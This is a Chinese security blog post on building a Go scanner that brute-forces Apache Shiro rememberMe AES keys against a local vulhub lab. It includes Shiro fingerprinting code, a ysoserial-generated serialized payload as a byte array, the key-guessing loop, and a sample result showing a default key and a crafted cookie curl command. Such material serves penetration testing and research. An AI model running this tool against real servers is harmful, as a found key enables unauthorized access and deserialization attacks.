Apache-Shiro可用key檢測(cè)

STATEMENT
聲明
由于傳播、利用此文所提供的信息而造成的任何直接或者間接的后果及損失,均由使用者本人負(fù)責(zé),雷神眾測(cè)及文章作者不為此承擔(dān)任何責(zé)任。
雷神眾測(cè)擁有對(duì)此文章的修改和解釋權(quán)。如欲轉(zhuǎn)載或傳播此文章,必須保證此文章的完整性,包括版權(quán)聲明等全部?jī)?nèi)容。未經(jīng)雷神眾測(cè)允許,不得任意修改或者增減此文章內(nèi)容,不得以任何方式將其用于商業(yè)目的。

前言
由于目前的nuclei無法對(duì)payload進(jìn)行復(fù)雜的加密操作,雖然nuclei官方正在推進(jìn)能使用高級(jí)腳本編寫驗(yàn)證漏洞,但是目前看來離合并還是遙遙無期,所以對(duì)于爆破apache-shiro的key這種復(fù)雜的請(qǐng)求需要單獨(dú)開發(fā)工具檢查。

檢測(cè)原理
1、參考一種另類的 shiro 檢測(cè)方式,簡(jiǎn)單來說就是:key正確情況下響應(yīng)報(bào)文中的set-cookie不返回 deleteMe ,key錯(cuò)誤情況下響應(yīng)報(bào)文中的set-cookie返回 deleteMe。
2、所以邏輯應(yīng)該是在發(fā)送請(qǐng)求頭帶上下面信息,響應(yīng)報(bào)文中有響應(yīng)中的set-cookie返回 deleteMe的前提先下做判斷的,避免不是apache-shiro的組件也識(shí)別到有漏洞存在。
"Cookie":"rememberMe=admin;rememberMe-K=admin""Content-Type":"text/xml"
3、在確保是apache-shiro組件后,再根據(jù)各個(gè)key加密生成的設(shè)置到cookie中rememberMe值上,再次請(qǐng)求,如果響應(yīng)報(bào)文中的set-cookie不返回 deleteMe,說明漏洞存在。

環(huán)境搭建
1、直接使用vulhub中的漏洞環(huán)境即可
docker run --rm -p 8080:8080 vulhub/shiro:1.2.42、打開http://127.0.0.1:8080,即可看到登錄界面

代碼編寫
判斷是否為apache-shiro組件
雖然前面會(huì)先給目標(biāo)做指紋識(shí)別操作,但是可能會(huì)存在由關(guān)鍵詞識(shí)別的誤報(bào),所以在驗(yàn)證可用Key之前要先判斷是否是apache-shiro,防止目標(biāo)不是一個(gè)apache-shiro組件,就算帶上加密后的cookie請(qǐng)求也是沒有返回deleteMe,這樣就會(huì)誤報(bào)可用的key。
// 檢查是POST還是GETfunc CheckIsShiroMethod(host string) string {hh := Base.NewHttpClient()header := make(map[string]string, 0)header["Content-Type"] = "text/xml"header["Cookie"] = "rememberMe=admin;rememberMe-K=admin"for _, m := range []string{"POST", "GET"} {resp, err := hh.SendRequest(m, host, nil, header, nil)if err != nil {return ""}if resp != nil {resp.Body.Close()}if strings.Contains(resp.Header.Get("Set-Cookie"), "=deleteMe") {return m}}return ""}
在真實(shí)環(huán)境中有遇到POST請(qǐng)求或者GET請(qǐng)求才會(huì)返回rememberMe關(guān)鍵字,所以上面的代碼在識(shí)別目標(biāo)的同時(shí)還返回請(qǐng)求方式,在后面爆破Key的時(shí)候就只用這個(gè)請(qǐng)求方式。
cookie中rememberMe的生成
shiro_simple_principal_collection可以從apache-shiro的開源利用工具中生成再扣下來,這里我使用我寫的ysoserial_rs生成的序列化數(shù)據(jù)。
? ~ ./ysoserial_amd64 -p shiro_spc -f hexaced0005737200326f72672e6170616368652e736869726f2e7375626a6563742e53696d706c655072696e636970616c436f6c6c656374696f6ea87f5825c6a3084a0300014c000f7265616c6d5072696e636970616c7374000f4c6a6176612f7574696c2f4d61703b78707077010078
十六進(jìn)制轉(zhuǎn)go的byte數(shù)組寫為常量就可以了。
shiro_spc = []byte{0xac, 0xed, 0x0, 0x5, 0x73, 0x72, 0x0, 0x32, 0x6f, 0x72, 0x67, 0x2e, 0x61, 0x70, 0x61, 0x63, 0x68, 0x65, 0x2e, 0x73, 0x68, 0x69, 0x72, 0x6f, 0x2e, 0x73, 0x75, 0x62, 0x6a, 0x65, 0x63, 0x74, 0x2e, 0x53, 0x69, 0x6d, 0x70, 0x6c, 0x65, 0x50, 0x72, 0x69, 0x6e, 0x63, 0x69, 0x70, 0x61, 0x6c, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0xa8, 0x7f, 0x58, 0x25, 0xc6, 0xa3, 0x8, 0x4a, 0x3, 0x0, 0x1, 0x4c, 0x0, 0xf, 0x72, 0x65, 0x61, 0x6c, 0x6d, 0x50, 0x72, 0x69, 0x6e, 0x63, 0x69, 0x70, 0x61, 0x6c, 0x73, 0x74, 0x0, 0xf, 0x4c, 0x6a, 0x61, 0x76, 0x61, 0x2f, 0x75, 0x74, 0x69, 0x6c, 0x2f, 0x4d, 0x61, 0x70, 0x3b, 0x78, 0x70, 0x70, 0x77, 0x1, 0x0, 0x78}在加密時(shí)提供可選參數(shù)AES加密模式,CBC或者GCM。
for _, m := range []string{"CBC", "GCM"} {for i := range payloads {remember_me_coockie := RememberMe(payloads[i], m)header := make(map[string]string, 0)header["Content-Type"] = "text/xml"header["Cookie"] = "rememberMe=" + remember_me_coockieheader["User-Agent"] = Base.DefaultUserAgentresp, _ := h.SendRequest(method, host, nil, header, nil)if resp != nil {resp.Body.Close()}if !strings.Contains(resp.Header.Get("Set-Cookie"), "=deleteMe") {meta := map[string]interface{}{"key": payloads[i], "mode": m}Base.MakeNucleiResult(&ResultEvent, resp, meta)return ResultEvent}}}
將go的response轉(zhuǎn)為nuclei的ResultEvent
首先自定義Info的信息,兼容nuclei數(shù)據(jù)結(jié)構(gòu)。
ResultEvent := output.ResultEvent{TemplateID: "apache-shiro-key",Type: "http",Timestamp: time.Now(),MatcherStatus: false,Info: model.Info{Name: "ApacheShiro可用Key",SeverityHolder: severity.Holder{Severity: severity.Critical},Authors: stringslice.StringSlice{Value: []string{"cn-kali-team"}},Tags: stringslice.StringSlice{Value: []string{"apache-shiro"}},Reference: stringslice.StringSlice{Value: []string{}},},Host: host,}
將meta信息,也就是爆破出來的key和加密模式添加到Metadata,這樣就可以在nuclei的結(jié)果中獲取結(jié)果并且展示。
package Baseimport ("net/http""net/http/httputil""github.com/projectdiscovery/nuclei/v2/pkg/output""moul.io/http2curl")func MakeNucleiResult(ResultEvent *output.ResultEvent, resp *http.Response, meta map[string]interface{}) {command, _ := http2curl.GetCurlCommand(resp.Request)ResultEvent.CURLCommand = command.String()dump_request, _ := httputil.DumpRequest(resp.Request, true)dump_response, _ := httputil.DumpResponse(resp.Request.Response, true)ResultEvent.Request = string(dump_request)ResultEvent.Response = string(dump_response)ResultEvent.MatcherStatus = trueResultEvent.Metadata = metaResultEvent.Matched = resp.Request.URL.String()ResultEvent.Lines = []int{}ResultEvent.IP = resp.Request.URL.Hostname()}
結(jié)果要轉(zhuǎn)為json的話,漏洞等級(jí)這里需要用到自定義序列化,所以要使用jsoniter這個(gè)庫實(shí)現(xiàn),最后得到的json為:
{"template-id": "apache-shiro-key","info": {"name": "ApacheShiro可用Key","author": ["cn-kali-team"],"tags": ["apache-shiro"],"reference": [],"severity": "critical"},"type": "http","host": "http://127.0.0.1:8080","matched-at": "http://127.0.0.1:8080/login;jsessionid=96DB54118C3AD9AE431629A46DB4291F","request": "GET /login;jsessionid=96DB54118C3AD9AE431629A46DB4291F HTTP/0.0\r\nHost: 127.0.0.1:8080\r\nContent-Type: text/xml\r\nCookie: rememberMe=ztWoBlfxzv6vbA8ItcE4qpxrz3t8pCmarvebhauhXyxcLurOHoCCkM2TNfljEtxR3BmW3gL+OkwnvJjHCpS8S//FFQ2VcdiXbzKUGrOBHgpADIBDPQzjam34m9G40hOFkC995grt0wmTm5Lj6F5CqEmtA1/gJDL561R9cKhQVznUlwqyXTh/gZFSSTiJ6m/D\r\nReferer: http://127.0.0.1:8080\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36\r\n\r\n","response": "HTTP/1.1 302 \r\nConnection: close\r\nContent-Length: 0\r\nDate: Mon, 15 Aug 2022 09:57:11 GMT\r\nLocation: http://127.0.0.1:8080/login;jsessionid=96DB54118C3AD9AE431629A46DB4291F\r\nSet-Cookie: JSESSIONID=96DB54118C3AD9AE431629A46DB4291F; Path=/; HttpOnly\r\n\r\n","meta": {"key": "kPH+bIxk5D2deZiIxcaaaA==","mode": "CBC"},"ip": "127.0.0.1","timestamp": "2022-08-15T17:57:11.598443866+08:00","curl-command": "curl -X 'GET' -H 'Content-Type: text/xml' -H 'Cookie: rememberMe=ztWoBlfxzv6vbA8ItcE4qpxrz3t8pCmarvebhauhXyxcLurOHoCCkM2TNfljEtxR3BmW3gL+OkwnvJjHCpS8S//FFQ2VcdiXbzKUGrOBHgpADIBDPQzjam34m9G40hOFkC995grt0wmTm5Lj6F5CqEmtA1/gJDL561R9cKhQVznUlwqyXTh/gZFSSTiJ6m/D' -H 'Referer: http://127.0.0.1:8080' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36' 'http://127.0.0.1:8080/login;jsessionid=96DB54118C3AD9AE431629A46DB4291F'","matcher-status": true,"matched-line": []}

參考
https://github.com/emo-cat/ysoserial_rs
https://mp.weixin.qq.com/s/do88_4Td1CSeKLmFqhGCuQ
安恒信息
?
杭州亞運(yùn)會(huì)網(wǎng)絡(luò)安全服務(wù)官方合作伙伴
成都大運(yùn)會(huì)網(wǎng)絡(luò)信息安全類官方贊助商
武漢軍運(yùn)會(huì)、北京一帶一路峰會(huì)
青島上合峰會(huì)、上海進(jìn)博會(huì)
廈門金磚峰會(huì)、G20杭州峰會(huì)
支撐單位北京奧運(yùn)會(huì)等近百場(chǎng)國(guó)家級(jí)
重大活動(dòng)網(wǎng)絡(luò)安保支撐單位

END


長(zhǎng)按識(shí)別二維碼關(guān)注我們
